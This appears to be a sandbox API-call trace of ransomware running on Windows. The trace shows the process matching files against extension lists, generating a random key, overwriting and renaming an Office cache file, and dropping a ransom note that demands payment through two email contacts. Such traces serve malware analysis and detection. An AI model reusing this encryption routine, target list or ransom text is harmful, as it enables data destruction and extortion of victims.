	[0077.307] lstrlenW (lpString=".msc") returned 4
	[0077.307] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".msc") returned 0x0
	[0077.307] lstrlenW (lpString=".com") returned 4
	[0077.307] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".com") returned 0x0
	[0077.307] lstrlenW (lpString=".lnk") returned 4
	[0077.307] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".lnk") returned 0x0
	[0077.307] lstrlenW (lpString=".msp") returned 4
	[0077.307] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".msp") returned 0x0
	[0077.307] lstrlenW (lpString=".pif") returned 4
	[0077.308] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".pif") returned 0x0
	[0077.308] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0077.308] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch="msp\r\n.pif") returned 0x0
	[0077.308] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
	[0077.308] lstrlenW (lpString=".sqb") returned 4
	[0077.308] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".sqb") returned 0x0
	[0077.308] lstrlenW (lpString=".ost") returned 4
	[0077.308] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".ost") returned 0x0
	[0077.308] lstrlenW (lpString=".txt") returned 4
	[0077.308] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".txt") returned 0x0
	[0077.308] lstrlenW (lpString=".mdt") returned 4
	[0077.308] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".mdt") returned 0x0
	[0077.308] lstrlenW (lpString=".BDB") returned 4
	[0077.308] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".BDB") returned 0x0
	[0077.309] lstrlenW (lpString=".eql") returned 4
	[0077.309] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".eql") returned 0x0
	[0077.309] lstrlenW (lpString=".DBF") returned 4
	[0077.309] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".DBF") returned 0x0
	[0077.309] lstrlenW (lpString=".EQL") returned 4
	[0077.309] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".EQL") returned 0x0
	[0077.309] lstrlenW (lpString=".FDB") returned 4
	[0077.309] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".FDB") returned 0x0
	[0077.309] lstrlenW (lpString=".EDB") returned 4
	[0077.309] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".EDB") returned 0x0
	[0077.309] lstrlenW (lpString=".DACPAC") returned 7
	[0077.309] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".DACPAC") returned 0x0
	[0077.309] lstrlenW (lpString=".VHD") returned 4
	[0077.309] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".VHD") returned 0x0
	[0077.309] lstrlenW (lpString=".DBV") returned 4
	[0077.309] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".DBV") returned 0x0
	[0077.309] lstrlenW (lpString=".dacpac") returned 7
	[0077.309] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".dacpac") returned 0x0
	[0077.309] lstrlenW (lpString=".sdf") returned 4
	[0077.309] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".sdf") returned 0x0
	[0077.309] lstrlenW (lpString=".accdb") returned 6
	[0077.309] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".accdb") returned 0x0
	[0077.309] lstrlenW (lpString=".DBX") returned 4
	[0077.309] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".DBX") returned 0x0
	[0077.310] lstrlenW (lpString=".MDT") returned 4
	[0077.310] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".MDT") returned 0x0
	[0077.310] lstrlenW (lpString=".SQB") returned 4
	[0077.310] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".SQB") returned 0x0
	[0077.310] lstrlenW (lpString=".vhd") returned 4
	[0077.310] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".vhd") returned 0x0
	[0077.310] lstrlenW (lpString=".bac") returned 4
	[0077.310] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".bac") returned 0x0
	[0077.310] lstrlenW (lpString=".mdf") returned 4
	[0077.310] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".mdf") returned 0x0
	[0077.310] lstrlenW (lpString=".BAK") returned 4
	[0077.310] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".BAK") returned 0x0
	[0077.310] lstrlenW (lpString=".BAC") returned 4
	[0077.310] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".BAC") returned 0x0
	[0077.310] lstrlenW (lpString=".dbs") returned 4
	[0077.310] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".dbs") returned 0x0
	[0077.310] lstrlenW (lpString=".vhdx") returned 5
	[0077.310] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".vhdx") returned 0x0
	[0077.310] lstrlenW (lpString=".NDF") returned 4
	[0077.310] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".NDF") returned 0x0
	[0077.310] lstrlenW (lpString=".dat") returned 4
	[0077.310] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".dat") returned 0x0
	[0077.310] lstrlenW (lpString=".DBS") returned 4
	[0077.310] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".DBS") returned 0x0
	[0077.311] lstrlenW (lpString=".CKP") returned 4
	[0077.311] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".CKP") returned 0x0
	[0077.311] lstrlenW (lpString=".edb") returned 4
	[0077.311] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".edb") returned 0x0
	[0077.311] lstrlenW (lpString=".PST") returned 4
	[0077.311] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".PST") returned 0x0
	[0077.311] lstrlenW (lpString=".dbf") returned 4
	[0077.311] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".dbf") returned 0x0
	[0077.311] lstrlenW (lpString=".SQL") returned 4
	[0077.311] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".SQL") returned 0x0
	[0077.311] lstrlenW (lpString=".pst") returned 4
	[0077.311] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".pst") returned 0x0
	[0077.311] lstrlenW (lpString=".dbv") returned 4
	[0077.311] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".dbv") returned 0x0
	[0077.311] lstrlenW (lpString=".SDF") returned 4
	[0077.311] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".SDF") returned 0x0
	[0077.311] lstrlenW (lpString=".dtxs") returned 5
	[0077.311] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".dtxs") returned 0x0
	[0077.311] lstrlenW (lpString=".db3") returned 4
	[0077.311] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".db3") returned 0x0
	[0077.312] lstrlenW (lpString=".OST") returned 4
	[0077.312] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".OST") returned 0x0
	[0077.312] lstrlenW (lpString=".dbx") returned 4
	[0077.312] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".dbx") returned 0x0
	[0077.312] lstrlenW (lpString=".DB3") returned 4
	[0077.312] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".DB3") returned 0x0
	[0077.312] lstrlenW (lpString=".DAT") returned 4
	[0077.312] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".DAT") returned 0x0
	[0077.312] lstrlenW (lpString=".VHDX") returned 5
	[0077.312] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".VHDX") returned 0x0
	[0077.312] lstrlenW (lpString=".ndf") returned 4
	[0077.312] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".ndf") returned 0x0
	[0077.312] lstrlenW (lpString=".DB") returned 3
	[0077.312] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".DB") returned 0x0
	[0077.312] lstrlenW (lpString=".sql") returned 4
	[0077.312] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".sql") returned 0x0
	[0077.312] lstrlenW (lpString=".MYD") returned 4
	[0077.312] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".MYD") returned 0x0
	[0077.312] lstrlenW (lpString=".DBT") returned 4
	[0077.312] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".DBT") returned 0x0
	[0077.312] lstrlenW (lpString=".ACCDB") returned 6
	[0077.312] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".ACCDB") returned 0x0
	[0077.312] lstrlenW (lpString=".fdb") returned 4
	[0077.313] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".fdb") returned 0x0
	[0077.313] lstrlenW (lpString=".bak") returned 4
	[0077.313] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".bak") returned 0x0
	[0077.313] lstrlenW (lpString=".myd") returned 4
	[0077.313] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".myd") returned 0x0
	[0077.313] lstrlenW (lpString=".DTXS") returned 5
	[0077.313] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".DTXS") returned 0x0
	[0077.313] lstrlenW (lpString=".ckp") returned 4
	[0077.313] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".ckp") returned 0x0
	[0077.313] lstrlenW (lpString=".dbt") returned 4
	[0077.313] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".dbt") returned 0x0
	[0077.313] lstrlenW (lpString=".db") returned 3
	[0077.313] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".db") returned 0x0
	[0077.313] lstrlenW (lpString=".TXT") returned 4
	[0077.313] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".TXT") returned 0x0
	[0077.313] lstrlenW (lpString=".MDF") returned 4
	[0077.313] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".MDF") returned 0x0
	[0077.313] lstrlenW (lpString=".bdb") returned 4
	[0077.313] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".bdb") returned 0x0
	[0077.313] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0077.313] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0077.313] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0077.313] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362fe0
	[0077.313] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0077.315] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0077.315] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0077.315] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0077.315] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0077.315] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0077.315] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=19730517224) returned 1
	[0077.315] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x97fb2250, dwHighDateTime=0x1d60e1e)) 
	[0077.315] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0077.315] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0077.315] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0077.315] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac8c8
	[0077.315] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0077.315] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac8c8 | out: hHeap=0x300000) returned 1
	[0077.315] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0077.315] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0077.316] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28078b0
	[0077.316] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0077.316] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7850
	[0077.316] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28078b0 | out: hHeap=0x300000) returned 1
	[0077.316] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0077.316] GetLastError () returned 0x0
	[0077.316] GetLastError () returned 0x0
	[0077.316] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0077.316] GetLastError () returned 0x0
	[0077.316] GetLastError () returned 0x0
	[0077.317] ReadFile (in: hFile=0x130, lpBuffer=0x3b76e0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0077.338] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0077.338] WriteFile (in: hFile=0x130, lpBuffer=0x3b76e0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0077.340] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b76e0 | out: hHeap=0x300000) returned 1
	[0077.340] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0077.340] WriteFile (in: hFile=0x130, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0077.342] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0077.342] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0077.342] CloseHandle (hObject=0x130) returned 1
	[0077.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0068
	[0077.343] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.~~~~" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.~~~~")) returned 1
	[0077.505] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f0068 | out: hHeap=0x300000) returned 1
	[0077.505] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0077.505] GetLastError () returned 0x0
	[0077.505] RtlWakeConditionVariable () returned 0x365f70
	[0077.505] GetCurrentThreadId () returned 0x9cc
	[0077.505] GetCurrentThreadId () returned 0x9cc
	[0077.505] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x70) returned 0x27fd148
	[0077.505] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d948 | out: hHeap=0x300000) returned 1
	[0077.505] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9340 | out: hHeap=0x300000) returned 1
	[0077.505] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x70) returned 0x27fd1c0
	[0077.505] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\Read~ME.txt" (normalized: "c:\\program files\\common files\\designer\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
	[0077.517] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0077.517] WriteFile (in: hFile=0x130, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x26dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x26dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0077.518] CloseHandle (hObject=0x130) returned 1
	[0077.518] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd1c0 | out: hHeap=0x300000) returned 1
	[0077.518] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd148 | out: hHeap=0x300000) returned 1
	[0077.519] RtlWakeConditionVariable () returned 0x365f70
	[0077.519] GetCurrentThreadId () returned 0x9cc
	[0077.519] GetCurrentThreadId () returned 0x9cc
	[0077.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0077.519] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39feb0 | out: hHeap=0x300000) returned 1
	[0077.519] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9378 | out: hHeap=0x300000) returned 1
	[0077.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39feb0
	[0077.519] lstrlenW (lpString=".scr") returned 4
	[0077.519] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\home_containing_gourmet.exe", lpSrch=".scr") returned 0x0
	[0077.519] lstrlenW (lpString=".cmd") returned 4
	[0077.519] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\home_containing_gourmet.exe", lpSrch=".cmd") returned 0x0
	[0077.519] lstrlenW (lpString=".dll") returned 4
	[0077.519] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\home_containing_gourmet.exe", lpSrch=".dll") returned 0x0
	[0077.519] lstrlenW (lpString=".bat") returned 4
	[0077.519] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\home_containing_gourmet.exe", lpSrch=".bat") returned 0x0
	[0077.519] lstrlenW (lpString=".cpl") returned 4
	[0077.519] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\home_containing_gourmet.exe", lpSrch=".cpl") returned 0x0
	[0077.519] lstrlenW (lpString=".sys") returned 4
	[0077.519] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\home_containing_gourmet.exe", lpSrch=".sys") returned 0x0
	[0077.519] lstrlenW (lpString=".msc") returned 4
	[0077.519] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\home_containing_gourmet.exe", lpSrch=".msc") returned 0x0
	[0077.519] lstrlenW (lpString=".com") returned 4
	[0077.519] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\home_containing_gourmet.exe", lpSrch=".com") returned 0x0
	[0077.519] lstrlenW (lpString=".lnk") returned 4
	[0077.519] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\home_containing_gourmet.exe", lpSrch=".lnk") returned 0x0
	[0077.520] lstrlenW (lpString=".msp") returned 4
	[0077.520] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\home_containing_gourmet.exe", lpSrch=".msp") returned 0x0
	[0077.520] lstrlenW (lpString=".pif") returned 4
